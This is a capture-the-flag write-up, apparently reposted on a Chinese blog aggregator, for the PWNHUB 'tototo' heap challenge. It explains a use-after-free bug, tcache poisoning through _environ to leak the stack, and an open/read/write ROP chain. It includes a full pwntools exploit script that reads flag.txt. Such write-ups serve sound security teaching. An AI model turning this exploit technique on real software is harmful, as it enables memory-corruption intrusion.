2023 PWNHUB 3月赛-【tototo】

news2024/10/6 2:27:20

文章目录

  • volatile
  • 泄露_environ打栈
  • 漏洞
  • 利用
  • malloc和calloc
  • 思路(打_environ)
  • 代码

volatile

int volatile vInt; 当要求使用 volatile 声明的变量值的时候,系统总是重新从它所在的内存读取数据,即使它前面的指令刚刚从该处读取过数据。而且读取的数据立刻被保存

泄露_environ打栈

libc中有一个叫做 _environ 的全局变量,里面存放着当前进程的环境变量的地址即栈上的某个地址。

漏洞

禁了_free_hook. malloc的size从0x200到0x800,index限制15内

存在show after free,edit after free,但只能edit三次 change_chunk(chunk_addr_array[index] + 9LL, chunk_size_array[index] - 48LL);以及存在double use chunk (存在两个不同的index但对应chunk相同)
在这里插入图片描述

利用

沙箱禁用execve

在 Linux 系统中,system(“/bin/sh”) 函数调用会导致一系列的系统调用。system() 是 C 语言标准库函数,用于执行一个命令字符串——在这种情况下,是启动一个 shell。这个函数通常会执行以下步骤:

  1. fork(): system() 首先调用 fork() 创建一个新的进程。这是通过 fork() 系统调用完成的,它复制了当前进程,创建了一个几乎完全相同的子进程。

  2. execve(): 在子进程中,system() 接着调用 execve() 或者其他 exec 系列的函数来执行指定的命令。execve() 系统调用会替换当前进程的映像、数据和堆栈等,用新的程序(在这个例子中是 /bin/sh)。

  3. waitpid(): 在父进程中,system() 调用 waitpid() 系统调用,等待子进程的结束。waitpid() 允许父进程收集子进程的退出状态。

  4. exit(): 一旦 /bin/sh 执行完毕,子进程会通过 exit() 系统调用终止,这将向父进程发送一个信号表明子进程已经结束。

malloc和calloc

callocmalloc都是C语言中用于动态内存分配的函数,但它们之间存在一些关键差异:

  1. 初始化差异

    • calloc在分配内存后会自动将这块内存区域中的每一位初始化为零,这意味着分配的内存空间是干净的,所有元素初始值为0。
    • malloc仅仅分配内存而不进行任何初始化,分配的内存中的数据是未定义的,可能是随机的先前值(即所谓的“垃圾数据”)。
  2. 参数和使用方式

    • calloc接受两个参数:第一个参数是要分配的元素数量,第二个参数是每个元素的大小(以字节为单位)。这使得calloc很适合用来分配数组,因为它可以直接根据元素数量和单个元素大小来分配。
    • malloc只接受一个参数,即需要分配的总内存大小(以字节为单位)。使用malloc时,你需要手动计算所需的总字节数,并且分配之后可能还需要额外的初始化步骤(如果需要零初始化或其他特定值)。

思路(打_environ)

  1. 先通过分配一个0x630大小的chunk0和一个0x210大小的chunk1,然后free掉0x630大小的chunk0,再show泄露出libc地址
  2. 然后连续分三个0x210大小的chunk234正好占据了之前0x630大小的chunk0的位置
  3. 然后free掉3,1,利用edit after free修改chunk0间接修改到chunk3的fd指针为_environ,然后分配0x210两次3,1得到为environ地址开始的堆块,然后show chunk1就可以得到enviro地址内的内容,就是在environ栈上的地址
  4. 然后再free chunk 3和4 ,利用edit after free修改chunk0间接修改到chunk3的fd指针为栈地址,然后分配0x210两次3,4,得到栈地址为开始的堆块,然后edit该内容实现rop链orw

代码

from pwn import *
p=process("./tototo")
libc = ELF('./libc-2.31.so')
elf=ELF("./tototo")
context(arch="amd64")
#gdb.attach(p)
#pause()
def add(index,size):
    p.sendlineafter(b"is:",b"1")
    p.recvuntil(b"index?\n")
    p.sendline(str(index))
    p.recvuntil(b"size?\n")
    p.sendline(str(size))

def dele(index):
    p.sendlineafter(b"is:",b"2")
    p.recvuntil(b"Which one?\n")
    p.sendline(str(index))

def edit(index,content):
    p.sendlineafter(b"is:",b"3")
    p.recvuntil(b"Which one?\n")
    p.sendline(str(index))
    p.recvuntil(b"new content?\n")
    p.sendline(content)

def show(index):
    p.sendlineafter(b"is:",b"4")
    p.sendlineafter(b"Which one?\n",str(index))


add(0,0x620)
add(1,0x200)

dele(0)
show(0)
libc_add=p.recvuntil(b"\x7f")
libc.address=int.from_bytes(libc_add,byteorder="little")-0x60-0x1ebb80
print("get libc ",hex(libc.address))

add(2,0x200)
add(3,0x200)
add(4,0x200)

dele(1)
dele(3)
payload=b"\x00"*0x1ff+p64(0x211)+p64(libc.sym['_environ'])
edit(0,payload)
add(3,0x200)
add(1,0x200) 
show(1)
stack_address=p.recvuntil(b"\x7f")
stack_address=int.from_bytes(stack_address,byteorder="little")-0x120-0x20
print("stack address",hex(stack_address))
#为libc上的environ地址为开始的堆块
#show显示environ地址内容即environ在栈上的地址
dele(4)
dele(3)

payload=b"\x00"*0x1ff+p64(0x211)+p64(stack_address)
edit(0,payload)

add(3,0x200)
add(4,0x200)

pop_rdi = p64(libc.address + 0x0000000000026b72)  # 使用p64将地址转换为8字节的字节串
pop_rdx = p64(libc.address + 0x000000000011c371)
pop_rsi = p64(libc.address + 0x0000000000027529)
pop_rax = p64(libc.address + 0x000000000004a550)
syscall = p64(libc.address + 0x0000000000066229)

# 注意使用b'\x00'来表示空字节,并使用+b进行字节串的拼接
orw = b'\x00' * 0x17 + pop_rdi + p64(0) + pop_rsi + p64(0) + pop_rdx + p64(0)+p64(0) + pop_rax + p64(2) + syscall  \
     + pop_rdi + p64(3) + pop_rsi + p64(0) + pop_rdx + p64(0x100) + p64(0) + pop_rax + p64(0) + syscall  \
     + pop_rdi + p64(1)  + pop_rax + p64(1)  + syscall  + b'flag.txt\x00' 

file_addr= p64(stack_address + len(orw)-0)
orw = b'\x00' * 0x17 + pop_rdi + file_addr + pop_rsi + p64(0) + pop_rdx + p64(0)+p64(0) + pop_rax + p64(2) + syscall  \
     + pop_rdi + p64(3) + pop_rsi + file_addr + pop_rdx + p64(0x100) + p64(0) + pop_rax + p64(0) + syscall  \
     + pop_rdi + p64(1)  + pop_rax + p64(1)  + syscall  + b'flag.txt\x00' 
# 现在 orw 是一个有效的字节串,可用于ROP攻击载荷



payload=orw
edit(4,payload)
flag=str(p.recvuntil(b"}"))
print(flag)
#为返回地址所在栈上位置开始的堆块,但由于编辑只能从第九个字符开始编辑,所以提前减9
p.interactive()
#0x7ffd53eee778-0x00007ffd53eee898

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1672388.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

01基础篇

1、初识 JVM 1.1 什么是 JVM JVM 全称是 Java Virtual Machine,中文译名 Java虚拟机。JVM 本质上是一个运行在计算机上的程序,他的职责是运行Java字节码文件。 Java源代码执行流程如下: 分为三个步骤: 编写Java源代码文件。使用…

CentOS使用Docker搭建Nacos结合内网穿透实现无公网IP远程登录本地管理平台

文章目录 1. Docker 运行Nacos2. 本地访问Nacos3. Linux安装Cpolar4. 配置Nacos UI界面公网地址5. 远程访问 Nacos UI界面6. 固定Nacos UI界面公网地址7. 固定地址访问Nacos Nacos是阿里开放的一款中间件,也是一款服务注册中心,它主要提供三种功能:持久化…

Prompt Engineering ,Fine-tuning , RAG ?

Prompt Engineering ,Fine-tuning , RAG 总结:1 prompt engineering2 RAG (Retrieval Augmented Generation)**RAG特点****RAG优势****RAG劣势** 3 微调(Fine-tuning)**微调特点****微调优势****微调劣势** 4 三者共性和区别5 RAG和微调的适应…

Qt-FFmpeg开发-打开摄像头直接显示YUYV422图像(12)

Qt-FFmpeg开发-打开摄像头直接显示YUYV422图像📀 文章目录 Qt-FFmpeg开发-打开摄像头直接显示YUYV422图像📀1、概述📸2、实现效果💽3、主要代码🔍4、完整源代码📑 更多精彩内容👉个人内容分类汇…

四川汇聚荣:做拼多多网点需要具备什么能力?

做拼多多网点需要具备什么能力?这个问题对于想要在电商平台上开店的商家来说,是必须要了解的。拼多多作为国内领先的社交电商平台,吸引了众多商家入驻。那么,要想在拼多多上开网店,需要具备哪些能力呢?下面就从四个方面进行详细…

02-WPF_基础(二)

3、控件学习 控件学习 布局控件: panel、Grid 内容空间:Context 之恶能容纳一个控件或布局控件 代表提内容控件:内容控件可以设置标题 Header 父类:HeaderContextControl。 条目控件:可以显示一列数据&#xf…

【LAMMPS学习】八、基础知识(6.5)PyLammps 教程

8. 基础知识 此部分描述了如何使用 LAMMPS 为用户和开发人员执行各种任务。术语表页面还列出了 MD 术语,以及相应 LAMMPS 手册页的链接。 LAMMPS 源代码分发的 examples 目录中包含的示例输入脚本以及示例脚本页面上突出显示的示例输入脚本还展示了如何设置和运行各…

Windows 11 下 kafka 的安装踩坑

安装 windows系统kafka小白入门篇——下载安装,环境配置,入门代码书写(推荐) kafka在windows下安装和使用入门教程 问题1 参考链接 运行kafka集成的zookeeper时,命令:bin\windows\zookeeper-server-star…

2.1 软件工程

第2章 信息技术知识 2.1 软件工程 现状: 开发软件的规模越来越大复杂度越来越高用户需求并不十分明确缺乏软件开发方法和工具方面的有效支持 软件成本日益增长、开发进度难以控制、软件质量无法保证、软件维护困难等问题日益突出。人们开始用工程的方法进行软件…

Codeforces Round 941 (Div. 2)(A,B,C,D,E)

比赛链接 这场难度不高,基本没考算法,全是思维题。B是推结论,C是博弈,D是构造,需要对二进制有一定理解,E是思维题,2300分的暴力和模拟。 A. Card Exchange 题意: 您有 n n n 张牌…

纯血鸿蒙APP实战开发——一镜到底“页面转场”动画

介绍 本方案做的是页面点击卡片跳转到详情预览的转场动画效果 效果图预览 使用说明 点击首页卡片跳转到详情页,再点击进入路由页面按钮,进入新的路由页面 实现思路 首页使用了一种视觉上看起来像是组件的转场动画,这种转场动画通常是通过…

WordPress 管理员密码重置方法汇总

最近明月碰到一个 WordPress 站长求助咨询,说是自己 WordPress 站点的管理员密码被恶意篡改了,对 WordPress 了解的都知道这一般都是恶意代码造成的,问题大多出在使用了所谓的破解版、去授权版的插件或者主题被植入了恶意代码、后门木马。明月…

K8S安装并搭建集群

1. 先给每台机器安装docker环境 卸载旧的docker yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-engine 配置docker的yum库 yum install -y yum-utilsyum-config-manager --a…

miniconda环境管理器安装及jupyter下载

1.miniconda简介 Miniconda是一款小巧的python环境管理工具,安装包大约只有50M多点,其安装程序中包含conda软件包管理器和Python。一旦安装了Miniconda,就可以使用conda命令安装任何其他软件工具包并创建环境等。 2.下载miniconda 查看需要的…

大模型时代下两种few shot高效文本分类方法

介绍近年(2022、2024)大语言模型盛行下的两篇文本分类相关的论文,适用场景为few shot。两种方法分别是setfit和fastfit,都提供了python的包使用方便。 论文1:Efficient Few-Shot Learning Without Prompts 题目:无需提示的高效少…

找不到msvcp100.dll,无法继续执行代码的问题详细解析

当您在运行某个程序或游戏时遇到提示“找不到msvcp100.dll,无法继续执行代码”,这通常意味着系统中缺失了一个重要的动态链接库文件,从而导致应用程序无法正常启动。为了解决这个问题,本文将介绍5种常见的解决方法,帮助…

卓豪Zoho CRM怎么收费?多少钱一年?

卓豪Zoho CRM作为一款功能强大且高度可定制的企业级客户关系管理系统,其收费标准因版本不同而有所差异,旨在满足不同规模及需求的企业。Zoho CRM提供多种套餐选择,包括但不限于免费版、标准版、专业版、企业版以及旗舰版。每种版本都包含了核…

华为OD机试 - 掌握的单词个数 - 回溯(Java 2024 C卷 100分)

华为OD机试 2024C卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试(JAVA)真题(A卷+B卷+C卷)》。 刷的越多,抽中的概率越大,每一题都有详细的答题思路、详细的代码注释、样例测试,发现新题目,随时更新,全天CSDN在线答疑。 一、题目描述 有一个字符…

步入式恒温恒湿试验箱厂家哪家好?DHT(多禾试验)是您不二之选

步入式恒温恒湿试验箱厂家是一种广泛应用于科研、生产和质量控制领域的设备,所以选择一个合适的步入式恒温恒湿试验箱厂家,是确保试验数据准确性和可靠性的核心因素。因此在选择步入式恒温恒湿试验箱厂家时,需要考虑多方面因素,如…

Golang SDK安装

windows环境安装 1.链接: 下载地址 2.安装SDK 检查环境变量: 3.开启go modules,命令行执行一下命令: go env -w GO111MODULEon4.设置国内代理,命令行执行一下命令: go env -w GOPROXYhttps://proxy.golang.com.cn,https:/…